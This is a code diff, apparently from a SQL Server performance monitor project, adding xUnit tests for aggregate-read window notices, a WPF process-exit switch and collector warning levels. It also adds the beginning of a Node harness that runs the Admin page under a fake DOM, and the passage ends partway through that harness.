+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The window-floor live cases (#4966) of the three SQL Server aggregate reads that sum a raw collector table over the window:
+/// <c>get_wait_stats</c>, <c>get_latch_stats</c> and <c>get_spinlock_stats</c>. Each tool's live class supplies how it is called and
+/// how a row is planted; the cases are the same for all three. The reads window on <c>collection_time</c> of the raw table
+/// (through its view), the column the coverage probe reads, and none has a rollup tier.
+/// </summary>
+internal sealed class WindowNoticeAggregateCases(
+    string tool, string table, Func<NpgsqlDataSource, string, int, DateTime, int, Task<string>> call,
+    Func<NpgsqlConnection, string, DateTime, int, Task> plantRow, string? truncatedKey)
+{
+    private string Name(string window) => tool.Replace('_', '-') + "-window-" + window;
+
+    private Task RunAsync(string? cs, string window, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, Task> body) =>
+        WindowFloorLiveHarness.RunAsync(cs, [table], [Name(window)], [table], body);
+
+    private Task SeedAsync(NpgsqlConnection c, string window, DateTime created, DateTime? runsFrom, int step, DateTime end) =>
+        WindowFloorLiveHarness.SeedServerAsync(c, Name(window), created, table, runsFrom, step, end, [table], TestContext.Current.CancellationToken);
+
+    private async Task PlantThreeAsync(NpgsqlConnection c, string window, DateTime at)
+    {
+        for (var i = 0; i < 3; i++)
+        {
+            await plantRow(c, Name(window), at, i);
+        }
+    }
+
+    public Task CollectionStartingInsideTheWindow_NamesWhereCoverageStarts_AndACappedPageKeepsTheTwoFlagsApart(string? cs) =>
+        RunAsync(cs, "added", async (c, ds, end) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedAsync(c, "added", added, added, 30, end);
+            await PlantThreeAsync(c, "added", end.AddDays(-1));
+
+            var root = WindowFloorLiveHarness.Parse(await call(ds, Name("added"), 168, end, 2));
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+            Assert.Equal(DarlingMcpWindowNotice.Build(added, end.AddHours(-168), table).TruncationNote, root.GetProperty("truncation_note").GetString());
+            Assert.False(root.TryGetProperty("effective_hours_back", out _));
+            if (truncatedKey is not null)
+            {
+                Assert.True(root.GetProperty(truncatedKey).GetBoolean());
+            }
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+        });
+
+    public Task ARankCappedPage_BesideACoveredWindow_IsNotWindowTruncated(string? cs) =>
+        RunAsync(cs, "capped", async (c, ds, end) =>
+        {
+            await SeedAsync(c, "capped", end.AddDays(-30), end.AddDays(-8), 60, end);
+            await PlantThreeAsync(c, "capped", end.AddDays(-5));
+
+            var root = WindowFloorLiveHarness.Parse(await call(ds, Name("capped"), 168, end, 2));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            if (truncatedKey is not null)
+            {
+                Assert.True(root.GetProperty(truncatedKey).GetBoolean());
+            }
+        });
+
+    public Task AQuietStart_IsCovered(string? cs) =>
+        RunAsync(cs, "quiet", async (c, ds, end) =>
+        {
+            await SeedAsync(c, "quiet", end.AddDays(-30), end.AddDays(-8), 60, end);
+            await PlantThreeAsync(c, "quiet", end.AddDays(-5));
+
+            var root = WindowFloorLiveHarness.Parse(await call(ds, Name("quiet"), 168, end, 10));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            var effective = DateTime.Parse(root.GetProperty("effective_start").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind);
+            Assert.InRange((effective - end.AddHours(-168)).TotalSeconds, 0, 120);
+        });
+
+    public Task TheNoRowsAnswer_StaysBare(string? cs) =>
+        RunAsync(cs, "bare", async (c, ds, end) =>
+        {
+            await SeedAsync(c, "bare", end.AddDays(-30), null, 30, end);
+
+            var root = WindowFloorLiveHarness.Parse(await call(ds, Name("bare"), 168, end, 10));
+
+            Assert.Equal("unavailable", root.GetProperty("status").GetString());
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("truncation_note", out _));
+            Assert.False(root.TryGetProperty("hints", out _));
+        });
+
+    public Task AShortWindow_WithRows_StartsNoProbe(string? cs) =>
+        RunAsync(cs, "short", async (c, ds, end) =>
+        {
+            await SeedAsync(c, "short", end.AddDays(-30), end.AddDays(-2), 30, end);
+            await plantRow(c, Name("short"), end.AddMinutes(-20), 0);
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+
+            var root = WindowFloorLiveHarness.Parse(await call(ds, Name("short"), 1, end, 10));
+
+            Assert.Equal(0, calls);
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        });
+
+    public Task AFailedProbe_CostsTheNotice_NeverTheRows(string? cs) =>
+        RunAsync(cs, "probefail", async (c, ds, end) =>
+        {
+            await SeedAsync(c, "probefail", end.AddDays(-2), end.AddDays(-2), 30, end);
+            await PlantThreeAsync(c, "probefail", end.AddDays(-1));
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+
+            var json = await call(ds, Name("probefail"), 168, end, 10);
+            var root = WindowFloorLiveHarness.Parse(json);
+
+            Assert.False(root.TryGetProperty("status", out _), json);
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("truncation_note", out _));
+            Assert.Contains(root.EnumerateObject(), p => p.Value.ValueKind == JsonValueKind.Array && p.Value.GetArrayLength() == 3);
+        });
+}
diff --git a/Darling/Darling.Tests/WpfExitSwitchPinTests.cs b/Darling/Darling.Tests/WpfExitSwitchPinTests.cs
new file mode 100644
index 0000000000..b92ea10283
--- /dev/null
+++ b/Darling/Darling.Tests/WpfExitSwitchPinTests.cs
@@ -0,0 +1,50 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.IO;
+using System.Runtime.CompilerServices;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5596: both test projects start WPF STA threads, so both declare the WPF switch that keeps the process exit short
+/// (see <see cref="WpfExitSwitchTests"/>). A project that drops it, or a new WPF test project that never had it, goes back
+/// to paying about 0.3 seconds per STA test thread after the run returns, and the runner then fails a green run with
+/// "Foreground threads were left running". Each project's own runtime configuration is checked by
+/// <see cref="WpfExitSwitchTests"/> inside its own process; this reads the project files so the failure names the project
+/// before any shard runs.
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
+public sealed class WpfExitSwitchPinTests
+{
+    [Theory]
+    [InlineData("Darling/Darling.Tests/Darling.Tests.csproj")]
+    [InlineData("Lite.Tests/Lite.Tests.csproj")]
+    public void Each_test_project_that_starts_WPF_STA_threads_sets_the_weak_event_table_exit_switch(string project)
+    {
+        var path = Path.Combine(RepoRoot(), project.Replace('/', Path.DirectorySeparatorChar));
+        var text = File.ReadAllText(path);
+        Assert.Contains(
+            "<RuntimeHostConfigurationOption Include=\"" + WpfExitSwitchTests.SwitchName + "\" Value=\"true\"",
+            text);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null && !File.Exists(Path.Combine(dir, "Directory.Build.props")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.False(dir is null, "could not locate the repo root from the test source path");
+        return dir!;
+    }
+}
diff --git a/Darling/Darling.Tests/WpfExitSwitchTests.cs b/Darling/Darling.Tests/WpfExitSwitchTests.cs
new file mode 100644
index 0000000000..8e0ce7215a
--- /dev/null
+++ b/Darling/Darling.Tests/WpfExitSwitchTests.cs
@@ -0,0 +1,135 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Reflection;
+using System.Text;
+using System.Threading;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5596: a test process must not spend about 0.3 seconds per WPF STA test thread when it exits. Every STA thread that
+/// touches a <c>WeakEventManager</c> gets a <c>WeakEventTable</c> that registers a <c>ProcessExit</c> handler. At exit the
+/// handler runs on the main thread, finds the table's own thread gone (its dispatcher never shut down), and asks that
+/// dispatcher to purge the table with a 300 ms timeout nobody answers. About fifty test files start STA threads, so the
+/// exit stage of the whole-tree run passed the 11 seconds xUnit v3 allows after the run returns, and the runner printed
+/// "Foreground threads were left running, forcing process exit" (exit code 1, 0 failed tests) although no thread was
+/// left running. The fix is a WPF switch in each test project's runtime configuration; these tests prove it is in
+/// effect in this process.
+/// <para>
+/// This file lives in Darling.Tests and is compiled into Lite.Tests by a link (one rule, two suites), so each test
+/// process checks its own runtime configuration.
+/// </para>
+/// </summary>
+[Collection("timing")] // #5602: the fastest-of-three exit time is a clock; the timing collection runs alone, after the parallel classes.
+public sealed class WpfExitSwitchTests
+{
+    /// <summary>WindowsBase's name for the switch that makes the weak-event table's exit handler purge directly.</summary>
+    internal const string SwitchName = "Switch.MS.Internal.DoNotInvokeInWeakEventTableShutdownListener";
+
+    [Fact]
+    public void This_process_runs_with_the_weak_event_table_exit_switch_on()
+    {
+        Assert.True(
+            AppContext.TryGetSwitch(SwitchName, out var enabled) && enabled,
+            $"{SwitchName} is not true in this test process, so each WPF STA test thread costs ~0.3 s at exit (#5596). "
+            + "Add <RuntimeHostConfigurationOption Include=\"" + SwitchName + "\" Value=\"true\" /> to the test project.");
+    }
+
+    [Fact]
+    public void The_installed_WPF_still_knows_the_switch()
+    {
+        /* A switch the runtime no longer reads is a silent no-op: the exit gets slow again and nothing says why. The
+           name is a string literal inside WindowsBase, so the assembly the tests run against is searched for it. */
+        var windowsBase = typeof(System.Windows.Threading.Dispatcher).Assembly.Location;
+        var bytes = File.ReadAllBytes(windowsBase);
+        var needle = Encoding.Unicode.GetBytes(SwitchName);
+        Assert.True(
+            bytes.AsSpan().IndexOf(needle) >= 0,
+            $"{Path.GetFileName(windowsBase)} no longer contains \"{SwitchName}\": WPF dropped or renamed the switch, so the ~0.3 s "
+            + "per STA thread exit cost (#5596) is back. Find its replacement in dotnet/wpf (BaseAppContextSwitches) and update the test projects.");
+    }
+
+    [Fact]
+    public void A_weak_event_tables_exit_handler_for_an_ended_STA_thread_returns_at_once_not_after_the_300_ms_dispatcher_wait()
+    {
+        /* The exit handler's own work, run here on purpose and timed: the table is made on its own STA thread by a ListBox
+           over an observable collection (the usual WeakEventManager user), the thread ends without shutting its dispatcher
+           down, and that table's ProcessExit handler then runs on this thread, exactly as it does at process exit. Without
+           the switch it waits out Dispatcher.Invoke's 300 ms timeout every time; with it, it purges an empty table. The
+           least of three runs is asserted, so one scheduling hiccup on a busy runner cannot fail it, while the old shape
+           (300 ms or more, every time) always does. Only this test's own table is touched: the handler is picked out by
+           the table it holds, so other tests' tables, still in use in parallel, are left alone. */
+        var tableType = typeof(System.Windows.Threading.Dispatcher).Assembly.GetType("MS.Internal.WeakEventTable");
+        Assert.NotNull(tableType);
+        var current = tableType!.GetProperty("CurrentWeakEventTable", BindingFlags.NonPublic | BindingFlags.Static);
+        Assert.NotNull(current);
+        var exitField = typeof(AppDomain).GetField("ProcessExit", BindingFlags.NonPublic | BindingFlags.Instance);
+        Assert.True(exitField is not null, "AppDomain no longer keeps its ProcessExit handlers in a field named ProcessExit: update this test to read them (#5596).");
+
+        var fastest = TimeSpan.MaxValue;
+        for (var attempt = 0; attempt < 3; attempt++)
+        {
+            object? table = null;
+            Exception? error = null;
+            using (var staGate = StaTestThread.EnterExclusive())
+            {
+                var thread = new Thread(() =>
+                {
+                    try
+                    {
+                        var list = new System.Collections.ObjectModel.ObservableCollection<int>();
+                        var box = new System.Windows.Controls.ListBox { ItemsSource = list };
+                        box.Measure(new System.Windows.Size(100, 100));
+                        table = current!.GetValue(null);
+                    }
+                    catch (Exception ex)
+                    {
+                        error = ex;
+                    }
+                });
+                thread.SetApartmentState(ApartmentState.STA);
+                thread.Start();
+                thread.Join();
+            }
+
+            if (error is not null)
+            {
+                throw error;
+            }
+
+            Assert.NotNull(table);
+            Delegate? handler = null;
+            foreach (var registered in (exitField!.GetValue(AppDomain.CurrentDomain) as Delegate)?.GetInvocationList() ?? Array.Empty<Delegate>())
+            {
+                if (registered.Target is WeakReference listener && ReferenceEquals(listener.Target, table))
+                {
+                    handler = registered;
+                }
+            }
+
+            Assert.True(handler is not null, "no ProcessExit handler holds the WeakEventTable the STA thread made: WPF changed how a table registers for exit (#5596).");
+            var clock = Stopwatch.StartNew();
+            ((EventHandler)handler!)(null, EventArgs.Empty);
+            clock.Stop();
+            if (clock.Elapsed < fastest)
+            {
+                fastest = clock.Elapsed;
+            }
+        }
+
+        Assert.True(
+            fastest < TimeSpan.FromMilliseconds(250),
+            $"A WeakEventTable's exit handler took {fastest.TotalMilliseconds:0} ms at best for a table whose thread had ended: it is waiting out the "
+            + "300 ms dispatcher invoke at process exit again, once per STA test thread (#5596). Check " + SwitchName + " in the test project's runtime configuration.");
+    }
+}
diff --git a/Darling/Darling.Tests/XamlStaticResourceHygieneTests.cs b/Darling/Darling.Tests/XamlStaticResourceHygieneTests.cs
index 0e6ebf488a..246e562a09 100644
--- a/Darling/Darling.Tests/XamlStaticResourceHygieneTests.cs
+++ b/Darling/Darling.Tests/XamlStaticResourceHygieneTests.cs
@@ -35,6 +35,8 @@ namespace Darling.Tests;
 /// and zero false positives. A key that must be shared across files belongs in App.xaml or a merged
 /// dictionary — moving it there is the fix this test demands, never widening the model back.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class XamlStaticResourceHygieneTests
 {
     /* Each app scope: its XAML subtrees. Shared control libraries would join the scope of every
diff --git a/Darling/Darling.Tests/XeSessionMissingWarningTests.cs b/Darling/Darling.Tests/XeSessionMissingWarningTests.cs
new file mode 100644
index 0000000000..b5e939469c
--- /dev/null
+++ b/Darling/Darling.Tests/XeSessionMissingWarningTests.cs
@@ -0,0 +1,168 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4964: a collector whose Extended Events session cannot be ensured (the long-query, deadlock and blocked-process
+/// collectors) fails on every sweep, and each failed run logs its missing-session line. The first failing run on a
+/// server logs it at Warning. The runs after it log the same line at Debug, until a run of that collector on that server
+/// succeeds. The state is kept per server and per collector, in memory. The fault each run records does not change.
+/// </summary>
+public sealed class XeSessionMissingWarningTests
+{
+    private const string Deadlocks = "deadlocks";
+    private const string BlockedProcesses = "blocked_process_reports";
+
+    private static DarlingWorker.ServerLoopState NewServer(string name) =>
+        new() { Config = new MonitoredServer { Name = name, Host = name } };
+
+    [Fact]
+    public void TheFirstFailureOfACollector_LogsAtWarning_AndItsRepeatsLogAtDebug()
+    {
+        var warnings = NewServer("warn-first").XeSessionMissingWarnings;
+
+        Assert.True(warnings.TryMarkWarned(Deadlocks), "The first failing run logs at Warning.");
+
+        Assert.False(warnings.TryMarkWarned(Deadlocks), "The second failing run logs at Debug.");
+        Assert.False(warnings.TryMarkWarned(Deadlocks), "Every later failing run logs at Debug too.");
+    }
+
+    [Fact]
+    public void ASuccessfulRun_ClearsTheCollector_SoItsNextFailureWarnsAgain()
+    {
+        var warnings = NewServer("warn-cleared").XeSessionMissingWarnings;
+
+        /* A success for a collector that never failed is not an error and changes nothing. */
+        warnings.Clear(Deadlocks);
+
+        Assert.True(warnings.TryMarkWarned(Deadlocks));
+        Assert.False(warnings.TryMarkWarned(Deadlocks));
+
+        warnings.Clear(Deadlocks);
+
+        Assert.True(warnings.TryMarkWarned(Deadlocks), "The failure after a success is a new one, so it warns.");
+        Assert.False(warnings.TryMarkWarned(Deadlocks), "Its repeats are at Debug again.");
+    }
+
+    [Fact]
+    public void EachCollector_KeepsItsOwnState()
+    {
+        var warnings = NewServer("warn-collectors").XeSessionMissingWarnings;
+
+        Assert.True(warnings.TryMarkWarned(Deadlocks));
+        Assert.True(warnings.TryMarkWarned(BlockedProcesses), "One collector's warning does not quiet another's first failure.");
+
+        Assert.False(warnings.TryMarkWarned(Deadlocks));
+        Assert.False(warnings.TryMarkWarned(BlockedProcesses));
+
+        /* A success for one collector re-arms that collector alone. */
+        warnings.Clear(Deadlocks);
+
+        Assert.True(warnings.TryMarkWarned(Deadlocks));
+        Assert.False(warnings.TryMarkWarned(BlockedProcesses), "The other collector's run of failures goes on.");
+    }
+
+    [Fact]
+    public void EachServer_KeepsItsOwnState()
+    {
+        var first = NewServer("warn-first-server");
+        var second = NewServer("warn-second-server");
+
+        Assert.NotSame(first.XeSessionMissingWarnings, second.XeSessionMissingWarnings);
+
+        Assert.True(first.XeSessionMissingWarnings.TryMarkWarned(Deadlocks));
+        Assert.True(second.XeSessionMissingWarnings.TryMarkWarned(Deadlocks), "Another server's first failure still warns.");
+
+        Assert.False(first.XeSessionMissingWarnings.TryMarkWarned(Deadlocks));
+        Assert.False(second.XeSessionMissingWarnings.TryMarkWarned(Deadlocks));
+    }
+
+    [Fact]
+    public async Task ConcurrentFirstFailures_OfOneCollector_WarnExactlyOnce()
+    {
+        var warnings = NewServer("warn-concurrent").XeSessionMissingWarnings;
+        using var gate = new ManualResetEventSlim(initialState: false);
+
+        var runs = Enumerable.Range(0, 64)
+            .Select(_ => Task.Run(() =>
+            {
+                gate.Wait();
+                return warnings.TryMarkWarned(Deadlocks);
+            }))
+            .ToArray();
+
+        gate.Set();
+        var results = await Task.WhenAll(runs);
+
+        Assert.Equal(1, results.Count(warned => warned));
+    }
+
+    [Fact]
+    public void TheCollectorRun_ClearsTheCollectorsWarning_WhenItsRunSucceeds()
+    {
+        var body = RunOneAsyncBody();
+
+        var run = body.IndexOf("var result = await run(runner, runtime, cancellationToken);", StringComparison.Ordinal);
+        var clear = body.IndexOf("server.XeSessionMissingWarnings.Clear(collectorName);", StringComparison.Ordinal);
+        var catchArm = body.IndexOf("catch (DarlingXeSessionMissingException ex)", StringComparison.Ordinal);
+
+        Assert.True(run >= 0, "The collector's run must be awaited in RunOneAsync.");
+        Assert.True(clear >= 0, "RunOneAsync must clear the collector's warning when its run succeeds.");
+        Assert.True(clear > run, "The clear belongs after the run returned, so a run that threw does not clear it.");
+        Assert.True(catchArm >= 0 && clear < catchArm, "The clear belongs on the try's success path, not in a catch arm.");
+    }
+
+    [Fact]
+    public void TheMissingSessionLine_LogsAtTheLevelTheWarningsStateChooses_AndTheRunStillRecordsTheFault()
+    {
+        var body = RunOneAsyncBody();
+
+        var start = body.IndexOf("catch (DarlingXeSessionMissingException ex)", StringComparison.Ordinal);
+        Assert.True(start >= 0, "RunOneAsync must catch the missing-session exception.");
+        /* The next catch arm starts a line: the arm's own comment mentions "catch (" in prose. */
+        var next = body.IndexOf("\n        catch (", start + 1, StringComparison.Ordinal);
+        Assert.True(next > start, "The missing-session arm must be followed by another arm.");
+        var arm = body[start..next];
+
+        Assert.True(
+            arm.Contains("server.XeSessionMissingWarnings.TryMarkWarned(collectorName)", StringComparison.Ordinal),
+            "The line's level comes from the server's warnings state, keyed by the collector.");
+        Assert.True(
+            arm.Contains("LogLevel.Warning", StringComparison.Ordinal) && arm.Contains("LogLevel.Debug", StringComparison.Ordinal),
+            "The first failing run keeps Warning and the repeats drop to Debug.");
+        Assert.False(
+            arm.Contains("_logger.LogWarning(", StringComparison.Ordinal),
+            "The arm no longer logs its line at Warning on every sweep.");
+
+        /* What each run records is the same on every sweep. */
+        Assert.True(
+            arm.Contains("\"SESSION_MISSING\"", StringComparison.Ordinal),
+            "Every failing run still records SESSION_MISSING.");
+    }
+
+    private static string RunOneAsyncBody()
+    {
+        var worker = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+
+        var run = worker.IndexOf("private async Task<int> RunOneAsync(", StringComparison.Ordinal);
+        Assert.True(run >= 0, "RunOneAsync must exist.");
+        var end = worker.IndexOf("\n    }\n", run, StringComparison.Ordinal);
+        Assert.True(end > run, "RunOneAsync must end.");
+        return worker[run..end];
+    }
+}
diff --git a/Darling/Darling.Tests/admin-server-edit-harness.mjs b/Darling/Darling.Tests/admin-server-edit-harness.mjs
new file mode 100644
index 0000000000..c243980a2b
--- /dev/null
+++ b/Darling/Darling.Tests/admin-server-edit-harness.mjs
@@ -0,0 +1,1129 @@
+/* Runs the shipped Admin page (wwwroot/js/pages/admin.js) under Node on a fake DOM with a focus model and a recording
+   fetch, and prints the result of a scenario as one line of JSON. AdminServerEditBehaviourTests starts it as
+       node admin-server-edit-harness.mjs <path to wwwroot/js> <scenario>[:<param>]
+   The WHOLE js folder is copied into a scratch folder and the page is imported from there as the browser would, so the
+   real panels.js, charts.js, util.js and views-api.js run; only the DOM, fetch and the window events are stand-ins.
+   A scenario named `pure` reads {"fn": "...", "args": [...]} from stdin (JSON, so Windows argument quoting never
+   touches it), calls that export of admin.js and prints {"result": ...}; a number that is not finite prints as
+   {"$number": "NaN"}. The other scenarios drive the page and print what it drew and asked for.
+   Helpers a flow scenario builds on (all defined below): state, requests, removed, main, mountPage, all, byTag,
+   buttons, byAttr, fire, clickText, typeInto, settle, leaveHash, text. */
+process.env.TZ = "UTC";
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenarioArg] = process.argv.slice(-2);
+const [scenario, scenarioParam] = scenarioArg.split(":");
+
+/* ---------------------------------------------------------------- the DOM */
+
+/* The focus model: `focus()` makes a CONNECTED, enabled node document.activeElement; taking a node out of its parent (removeChild,
+   remove, replaceChildren, a textContent reset, or moving it with appendChild / insertBefore, which removes it first)
+   sets activeElement to null when that node holds it, as a browser blurs it. Putting the same node back does not give the
+   focus back. Every node taken out is pushed to `removed`, so a scenario can assert that no call took an ancestor of the
+   form. `isConnected` is true only under a node flagged isRoot (document.body is). */
+let activeElement = null;
+const removed = [];
+const windowHandlers = {};
+const documentHandlers = {};
+
+function detach(node) {
+  const parent = node.parent;
+  if (!parent) return;
+  parent.children = parent.children.filter((x) => x !== node);
+  node.parent = null;
+  removed.push(node);
+  if (activeElement && node.contains(activeElement)) activeElement = null;
+}
+
+function descendants(node, out = []) {
+  for (const c of node.children) {
+    out.push(c);
+    descendants(c, out);
+  }
+  return out;
+}
+
+/* A compound selector made of a tag, #id, .class and [attr] / [attr=value] parts; whitespace is the descendant combinator. */
+const selectorParts = (s) => s.match(/[#.]?[\w-]+|\[[^\]]+\]|\*/g) || [];
+function matchesCompound(n, s) {
+  for (const t of selectorParts(s)) {
+    if (t[0] === "#") {
+      if (n.attrs.id !== t.slice(1)) return false;
+    } else if (t[0] === ".") {
+      if (!n.classList.contains(t.slice(1))) return false;
+    } else if (t[0] === "[") {
+      const m = /^\[([\w-]+)(?:=["']?([^"'\]]*)["']?)?\]$/.exec(t);
+      if (!m || !(m[1] in n.attrs) || (m[2] !== undefined && n.attrs[m[1]] !== m[2])) return false;
+    } else if (t !== "*" && n.tag !== t) return false;
+  }
+  return true;
+}
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.listeners = {};
+    this.parent = null;
+    this._text = text == null ? "" : String(text);
+    this.className = "";
+    this.dataset = {};
+    this.style = {};
+    this.value = "";
+    this.checked = false;
+    this.disabled = false;
+    this.open = false;
+    this.hidden = false;
+    this.isRoot = false;
+    const self = this;
+    this.classList = {
+      contains: (c) => self.className.split(/\s+/).includes(c),
+      add: (...cs) => { for (const c of cs) if (!self.classList.contains(c)) self.className = (self.className + " " + c).trim(); },
+      remove: (...cs) => { self.className = self.className.split(/\s+/).filter((x) => x && !cs.includes(x)).join(" "); },
+      toggle: (c, force) => {
+        const on = force === undefined ? !self.classList.contains(c) : !!force;
+        if (on) self.classList.add(c); else self.classList.remove(c);
+        return on;
+      },
+    };
+  }
+  get nodeType() { return this.tag === "#text" ? 3 : 1; }
+  get parentNode() { return this.parent; }
+  get parentElement() { return this.parent; }
+  get childNodes() { return this.children; }
+  get firstChild() { return this.children[0] || null; }
+  get lastChild() { return this.children[this.children.length - 1] || null; }
+  get nextSibling() { const i = this.parent ? this.parent.children.indexOf(this) : -1; return i >= 0 ? this.parent.children[i + 1] || null : null; }
+  get previousSibling() { const i = this.parent ? this.parent.children.indexOf(this) : -1; return i > 0 ? this.parent.children[i - 1] : null; }
+  get isConnected() { let n = this; while (n.parent) n = n.parent; return n.isRoot; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { for (const c of [...this.children]) detach(c); this._text = String(v); }
+  get id() { return this.attrs.id || ""; }
+  contains(n) { for (let x = n; x; x = x.parent) if (x === this) return true; return false; }
+  focus() { if (this.isConnected && !this.disabled) activeElement = this; }
+  blur() { if (activeElement === this) activeElement = null; }
+  setAttribute(k, v) {
+    this.attrs[k] = String(v);
+    if (k === "value") this.value = String(v);
+    if (k === "disabled" || k === "checked" || k === "open" || k === "hidden") this[k] = true;
+  }
+  getAttribute(k) { return k in this.attrs ? this.attrs[k] : null; }
+  hasAttribute(k) { return k in this.attrs; }
+  removeAttribute(k) {
+    delete this.attrs[k];
+    if (k === "disabled" || k === "checked" || k === "open" || k === "hidden") this[k] = false;
+  }
+  appendChild(c) {
+    if (c.tag === "#fragment") { for (const k of [...c.children]) this.appendChild(k); return c; }
+    detach(c);
+    c.parent = this;
+    this.children.push(c);
+    return c;
+  }
+  append(...nodes) { for (const n of nodes) this.appendChild(typeof n === "string" ? new FakeNode("#text", n) : n); }
+  insertBefore(c, ref) {
+    detach(c);
+    c.parent = this;
+    const i = ref ? this.children.indexOf(ref) : -1;
+    if (i < 0) this.children.push(c); else this.children.splice(i, 0, c);
+    return c;
+  }
+  removeChild(c) { if (c.parent === this) detach(c); return c; }
+  remove() { detach(this); }
+  replaceChildren(...nodes) { for (const c of [...this.children]) detach(c); this.append(...nodes); }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  removeEventListener(t, fn) { this.listeners[t] = (this.listeners[t] || []).filter((x) => x !== fn); }
+  querySelectorAll(sel) {
+    let pool = [this];
+    for (const part of sel.trim().split(/\s+/)) {
+      const next = [];
+      for (const root of pool) for (const d of descendants(root)) if (matchesCompound(d, part) && !next.includes(d)) next.push(d);
+      pool = next;
+    }
+    return pool;
+  }
+  querySelector(sel) { return this.querySelectorAll(sel)[0] || null; }
+  getBoundingClientRect() { return { top: 0, left: 0, right: 0, bottom: 0, width: 0, height: 0 }; }
+  scrollIntoView() {}
+  select() {}
+}
+
+const body = new FakeNode("body");
+body.isRoot = true;
+const documentElement = new FakeNode("html");
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (t) => new FakeNode(t),
+  createElementNS: (ns, t) => new FakeNode(t),
+  createTextNode: (t) => new FakeNode("#text", t),
+  createDocumentFragment: () => new FakeNode("#fragment"),
+  get activeElement() { return activeElement; },
+  body,
+  documentElement,
+  getElementById: (id) => body.querySelector("#" + id),
+  querySelector: (s) => body.querySelector(s),
+  querySelectorAll: (s) => body.querySelectorAll(s),
+  addEventListener: (t, fn) => (documentHandlers[t] ||= []).push(fn),
+  removeEventListener: (t, fn) => { documentHandlers[t] = (documentHandlers[t] || []).filter((x) => x !== fn); },
+  cookie: "",
+  hidden: false,
+  visibilityState: "visible",
+};
+globalThis.window = globalThis;
+globalThis.addEventListener = (t, fn) => (windowHandlers[t] ||= []).push(fn);
+globalThis.removeEventListener = (t, fn) => { windowHandlers[t] = (windowHandlers[t] || []).filter((x) => x !== fn); };
+globalThis.location = { hash: "#/admin/servers", pathname: "/", search: "", href: "http://localhost/", origin: "http://localhost" };
+globalThis.history = { pushState() {}, replaceState() {}, back() {} };
+const memory = () => {
+  const m = new Map();
+  return { getItem: (k) => (m.has(k) ? m.get(k) : null), setItem: (k, v) => m.set(k, String(v)), removeItem: (k) => m.delete(k) };
+};
+globalThis.localStorage = memory();
+globalThis.sessionStorage = memory();
+globalThis.matchMedia = () => ({ matches: false, addEventListener() {}, removeEventListener() {} });
+globalThis.requestAnimationFrame = (fn) => setTimeout(() => fn(Date.now()), 0);
+globalThis.cancelAnimationFrame = (id) => clearTimeout(id);
+const confirms = [];
+globalThis.confirm = (m) => { confirms.push(String(m)); return state.confirmAnswer; };
+
+/* ---------------------------------------------------------------- the service */
+
+/* What the fake service answers. `servers` is GET /api/admin/servers; `byId` maps a server id to the by-id read
+   (GET /api/admin/servers/<id>); `responder(method, url, body)` answers every other request ({ status, body, raw? };
+   `raw`, when given, is the response text as it is, a sign-in page or an empty body, instead of JSON). `listReply`,
+   `byIdReply` and `sessionReply`, when set to a function, answer that read instead ({ status, body, raw? }); one that
